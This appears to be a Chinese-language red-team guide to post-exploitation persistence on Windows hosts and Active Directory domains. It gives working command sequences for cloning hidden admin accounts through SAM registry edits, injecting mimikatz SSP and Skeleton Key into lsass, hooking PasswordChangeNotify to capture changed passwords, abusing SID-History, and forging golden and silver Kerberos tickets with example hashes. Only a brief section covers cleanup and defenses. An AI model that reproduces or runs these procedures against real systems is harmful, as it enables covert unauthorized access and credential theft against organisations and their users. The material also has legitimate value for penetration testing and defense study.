权限维持技术概览
单主机权限维持
Windows系统
影子用户
创建隐藏的用户账户。
优势
- 隐蔽性:影子用户账户不会在用户列表中显示,这使得它们对于普通用户和管理员来说很难被发现。
- 持久性:即使系统重启,影子用户账户仍然存在,提供了一种持久的访问方式。
- 灵活性:影子用户可以被配置为具有不同的权限级别,允许攻击者根据需要执行各种操作。
- 绕过安全策略:影子用户可以绕过一些基于用户的安全策略和访问控制。
- 易于管理:一旦影子用户账户被创建,它们可以很容易地用于远程访问或执行任务。
劣势
- 检测性:虽然影子用户对于普通用户难以发现,但有经验的系统管理员可以通过仔细检查系统日志和配置文件来检测它们的存在。
- 依赖性:影子用户账户的创建和维护可能依赖于特定的系统配置或软件漏洞,这可能会随着系统更新而变得不再有效。
- 风险性:如果影子用户账户被创建不当,可能会留下痕迹,如异常的系统日志条目,这可能会引起怀疑并导致账户被发现。
- 局限性:影子用户账户可能无法访问所有系统资源,特别是那些需要特定权限或通过其他安全机制保护的资源。
操作流程:
- 方法一:隐藏用户
只需在新建用户的时候在用户后面加个$符就可以实现用户隐藏
但是此用户可以在用户管理界面看见
- 方法二:克隆用户
首先win+r输入regedit进入注册表
访问注册表中的以下路径:
HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names
在这个位置,可以看到系统上所有的账号名称。点击任何一个账号名称,在右侧的窗口中将显示该账号的详细信息,包括账号类型。例如:
-
hack$ 账户的类型标识为
3f1
。 -
Administrator 账户的类型标识为
1f4
。
接下来找到administrator和hack$对应的十六进制文件夹
将000001F4的F值复制到000003F1的F值中,保存。
然后将hack$和000003F1目录分别导出
导出注册表后,就将hack$用户删除
最后将刚才导出的两个后缀为.reg的注册表项导入注册表中。这样所谓的克隆账户就创建完成了。
计划任务
利用Windows任务计划程序设置隐藏的任务。
优势
- 自动化:可以自动执行预定的任务,无需持续的人工干预。
- 隐蔽性:计划任务可以设置为在特定时间或条件下运行,不易被立即发现。
- 持久性:即使系统重启,设定的计划任务依然会按照预定计划执行。
- 灵活性:支持各种触发条件,如时间、系统事件或用户登录等。
- 权限执行:可以设置计划任务以特定用户权限运行,包括管理员权限。
劣势
- 日志记录:计划任务的执行通常会在系统日志中留下记录,可能被发现。
- 依赖性:依赖于任务计划服务的运行,如果服务被禁用,任务将无法执行。
- 权限限制:如果系统安全策略限制了计划任务的权限,可能无法执行某些操作。
- 检测性:有经验的系统管理员可以通过检查任务计划器和相关日志来发现异常任务。
- 系统更新影响:操作系统的更新可能影响计划任务的配置,需要重新设置或调整。
以Tho用户运行这个计划任务,一天运行一次每天的0点运行
DLL劫持
通过替换或劫持DLL文件来维持权限。DLL劫持(DLL Hijacking)是一种利用Windows动态链接库(DLL)加载机制的安全漏洞来维持权限的技术。
优势
- 隐蔽性:如果劫持的DLL文件与合法的应用程序大小和行为相似,那么它可能不会被轻易发现。
- 持久性:一旦DLL被劫持,它会在每次应用程序启动时自动执行,提供了一种持久的执行环境。
- 自动执行:应用程序在启动时会自动加载指定路径下的DLL,无需额外操作即可执行恶意代码。
- 利用现有权限:如果应用程序以高权限运行,那么劫持的DLL也可以利用这些权限执行操作。
- 跨应用程序:可以针对多个应用程序实施DLL劫持,增加攻击面。
劣势
- 依赖性:DLL劫持依赖于特定的应用程序和路径配置,如果应用程序更新或路径更改,劫持可能失效。
- 检测性:现代安全软件和操作系统可能包含检测DLL劫持行为的功能,增加了被发现的风险。
- 权限限制:如果应用程序以较低的权限运行,那么劫持的DLL也将受限于这些权限。
- 兼容性问题:劫持的DLL必须与目标应用程序兼容,否则可能导致应用程序崩溃或行为异常。
基于软件的远程控制
基于软件的远程控制
- 无需安装:如gotohttp(需要网络)和RustDesk(无需网络)。
- 需要安装:如向日葵和todesk。
优势
- 远程访问:允许用户从任何地点远程访问和控制目标系统。
- 持续监控:可以实时监控目标系统的状态和活动。
- 协议问题:可以解决类似需要内网穿透的场景。
- 免杀问题:这种软件一般都有白名单
劣势
- 网络依赖:大多数远程控制软件需要网络连接才能工作。
- 安全风险:远程连接可能被截获或遭受中间人攻击。
- 检测性:现代安全软件可能检测到远程控制活动并将其视为恶意行为。
- 权限要求:远程控制软件可能需要管理员权限才能安装和运行。
- 兼容性问题:远程控制软件需要与目标系统的操作系统兼容。
Linux系统
- 计划任务:利用Cron作业实现后台任务的执行。
- 后门用户:创建具有后门权限的用户账户。
- SSH公钥后门:植入SSH公钥以实现无密码登录。
- Rootkit后门:使用Rootkit技术隐藏后门活动。
域环境权限维持
基于验证DLL加载
- SSP(Security Support Provider):实现身份认证和权限维持。
-
方法一:使用mimikatz进行内存注入,但重启后失效。
mimikatz执行 privilege::debug misc::memssp
然后C:\Windows\System32\mimilsa.log会记录登录的账号密码
-
方法二:修改注册表实现持久化效果。重启生效
reg query hklm\system\currentcontrolset\control\lsa\ /v "Security Packages" reg add "HKLM\System\CurrentControlSet\Control\Lsa" /v "Security Packages" /d "kerberos\0msv1_0\0schannel\0wdigest\0tspkg\0pku2u\0mimilib" /t REG_MULTI_SZ CS中修改注册表中的值 shell echo yes | reg add "HKLM\System\CurrentControlSet\Control\Lsa" /v "Security Packages" /d "kerberos\0msv1_0\0schannel\0wdigest\0tspkg\0pku2u\0mimilib" /t REG_MULTI_SZ
然后C:\Windows\System32\mimilsa.log会记录登录的账号密码
注:因为记录账号密码的文件在服务器的本地盘符,所以权限丢失的话就会导致无法打开文件
每种方法都有其独特的优势和局限。为了提高获取账号密码的成功率,建议同时采用这两种手段。这样,无论系统是否重启,您都能够确保获取所需的信息。如果存在文件无法访问的情况,完全可以将文件进行共享,利用共享发送到其他的主机上。
HOOK技术
-
PasswordChangeNotify Hook:捕获密码修改事件。
这里的HOOK其实指的就是Hook PasswordChangeNotify
其中PasswordChangeNotify是一个函数,如果修改的密码符合要求,那么PasswordChangeNotify在系统上同步更新密码,然后我们要做的就是将他的执行流定义到我们的PasswordChangeNotifyHook上面,所以我们是用他来获得主机修改的密码和用户名。
先将这两个文件下载过来
https://github.com/clymb3r/Misc-Windows-Hacking
https://github.com/clymb3r/PowerShell/blob/master/Invoke-ReflectivePEInjection/Invoke-ReflectivePEInjection.ps1
misc-windows-hacking下载好后,使用Visual Studio Install来编译他
进入属性-高级-MSF的使用-在静态库中使用 MFC
然后生成的文件会在这里
将HookPasswordChange.dll和Invoke-ReflectivePEInjection.ps1上传
然后在服务器主机上powershell执行
Set-ExecutionPolicy bypass
Import-Module .\Invoke-ReflectivePEInjection.ps1
Invoke-ReflectivePEInjection -PEPath HookPasswordChange.dll -procname lsass
或者下载下面这个项目
https://github.com/kevien/PasswordchangeNotify/blob/master/HookPasswordChangeNotify.ps1
然后在服务器主机上powershell执行
Set-ExecutionPolicy bypass
Import-Module .\HookPasswordChangeNotify.ps1
Skeleton Key技术
-
域控制器:通过mimikatz注入万能密码。
Skeleton-Key,也可以叫他万能密码,就是在域控制器执行mimikatz给域中所有用户添加一个mimikatz的默认密码,但是他也是注入到内存里面的,就是将Skeleton Key 注入域控(DC)的 lsass.exe进程中,所以重启就会失效,但是通常域控很长时间都不会重启的。
首先将mimikatez上传到域控主机
然后执行mimikatez
mimikatz# privilege::debug \\申请调试权限
mimikatz# misc::skeleton \\注入 skeleton key
然后其他主机就可以用万能密码进行连接操作了
域控主机名可以用net time /domain或net user /domain
使用mimikatz的默认密码成功连接域控
net use \\WIN-45GI22DJERU\ipc$ "mimikatz" /user:Tho\administrator
net use \\WIN-45GI22DJERU.Tho.com\ipc$ "mimikatz" /user:Tho.com\administrator
两条命令都可以
建立连接前
建立连接后
SID-History技术
-
域迁移:利用SID History属性保持用户访问权限。
SID History属性是域迁移中的关键特性,它用于保持用户的访问权限不变。在域迁移过程中,如果用户的安全标识符(SID)发生变更,系统会自动将旧的SID添加到用户的SID History属性中。这样做的目的是确保用户在迁移后仍然保留对原有资源的访问权限。利用这一特性,渗透测试工具如mimikatz可以用来将任意用户的旧SID添加到其他用户的SID History属性中。在获得域管理员权限的情况下,攻击者可以通过修改SID History属性来维持对域的控制,即使在用户账户的SID发生变化之后。
域控主机执行
mimikatz # privilege::debug
mimikatz # sid::patch
mimikatz # sid::add /sam:web(需提取的用户) /new:administrator
查询用户sid
**Powershell**:
Import-Module ActiveDirectory
Get-ADUser test(用户) -Properties sidhistory
**cmd**:
wmic useraccount get name,sid
清除方式
1、域控上使用mimikatz清理
mimikatz.exe "privilege::debug" "sid::clear /sam:test" exit
2、使用powershell清理【管理员权限】
Get-ADUser aaa -Properties sidHistory
Set-ADUser -Identity aaa -remove @{sidhistory='S-1-5-21-2989164084-2989164084-2989164084-500'}
3、查询
Get-ADUser -Filter 'SIDHistory -like "*"' -SearchScope Subtree -Properties sidhistory|?{$_.sidhistory -like "*-500"}
清除
Get-ADUser -Filter 'SIDHistory -like "*"' -SearchScope Subtree -Properties sidhistory|?{$_.sidhistory -like "*-500"} | foreach {Set-ADUser $_ -remove @{sidhistory=$_.sidhistory.value}}
其他防御手段
使用netdom工具在林信任上禁用SIDHistory[在域控制器上]
netdom trust /domain: /EnableSIDHistory:no
使用 netdom 工具(在域控制器上)将 SID 过滤器隔离应用于外部信任
netdom trust /domain: /quarantine:yes
DSRM后门
-
DSRM(目录恢复模式):获取DSRM账户密码以维持权限。
每个域控制器都有一个目录还原模式(DSRM)帐户,它的密码是在安装域控时设置的,实际上它对应的就是sam文件里的本地管理员“administrator”,基本很少会被重置,因此有着极强的隐蔽性。攻击者通过获取域控的DSRM密码,就可以使用帐户通过网络登录到域控服务器,从而达到权限维持的目的。
DSRM(目录恢复模式 )是Windows服务器域控制器的一个安全模式启动选项。它主要用于在域环境中出现故障或崩溃时,允许管理员还原、修复或重建活动目录数据库,以恢复域环境的正常运行。
黄金票据
-
域管理权限:利用krbtgt NTLM hash制作票据。
该攻击方式其实是一种后门的形式,属于二次进行攻击的方法。在第一次拿到域管理权限之后,需要将krbtgt NTLM hash进行保存,当第二次再来进行域渗透的时候就可以使用krbtgt的NTLM hash制作黄金票据,从而再次获得域管理权限
1.已经拿下域管理员,获取到krbtgt hash;
2.利用krbtgt的hash制作黄金票据工具,进行攻击
步骤
1.域名:Tho.com
2.域SID值:S-1-5-21-626378699-119012487-620865654
获取主机当前用户sid值
whoami /user
whoami /all
获取当前主机所有用户sid值
wmic useraccount get sid,name
域krbtgt用户NTLM-HASH:bc93f7063790bcc48502cae0ded5119b
mimikatz # privilege::debug
mimikatz # lsadump::lsa /patch
伪造用户名:web(任意用户)
生成票据:
mimikatz # kerberos::golden /user:web /domain:Tho.com /sid:S-1-5-21-626378699-119012487-620865654 /krbtgt:bc93f7063790bcc48502cae0ded5119b /ticket:ook
导入内存
mimikatz # kerberos::ptt ook
访问测试
dir \WIN-45GI22DJERU.Tho.com\c$
白银票据
-
域管理权限:利用DC hash制作票据。
1.已经拿下域管理员,获取到DC hash(域管理员hash)
2.利用DC的hash制作白银票据工具进行攻击
步骤
1.域名:Tho.com
2.域SID值:S-1-5-21-626378699-119012487-620865654
whoami /user
whoami /all
域DC账户NTLM-HASH:b297c972c1e59be80ce8fd3b1b0e20d3
mimikatz # privilege::debug
mimikatz # sekurlsa::logonpasswords
看这个机器账户的hash值
伪造用户:web
mimikatz # kerberos::golden /user:web /domain:Tho.com /sid:S-1-5-21-626378699-119012487-620865654 /target:WIN-45GI22DJERU /service:cifs /rc4:b297c972c1e59be80ce8fd3b1b0e20d3 /ptt
///
domain:域名
sid:域SID值
target:要访问的服务器
rc4:目标主机的NTLM
service:要访问的资源类型
user:伪造的用户
cifs:共享文件
///
总结:
1.伪造的ST,只能访问指定的服务,如CIFS
2.不与KDC交互,直接访问Server;
3.ST由服务账号NTLM Hash 加密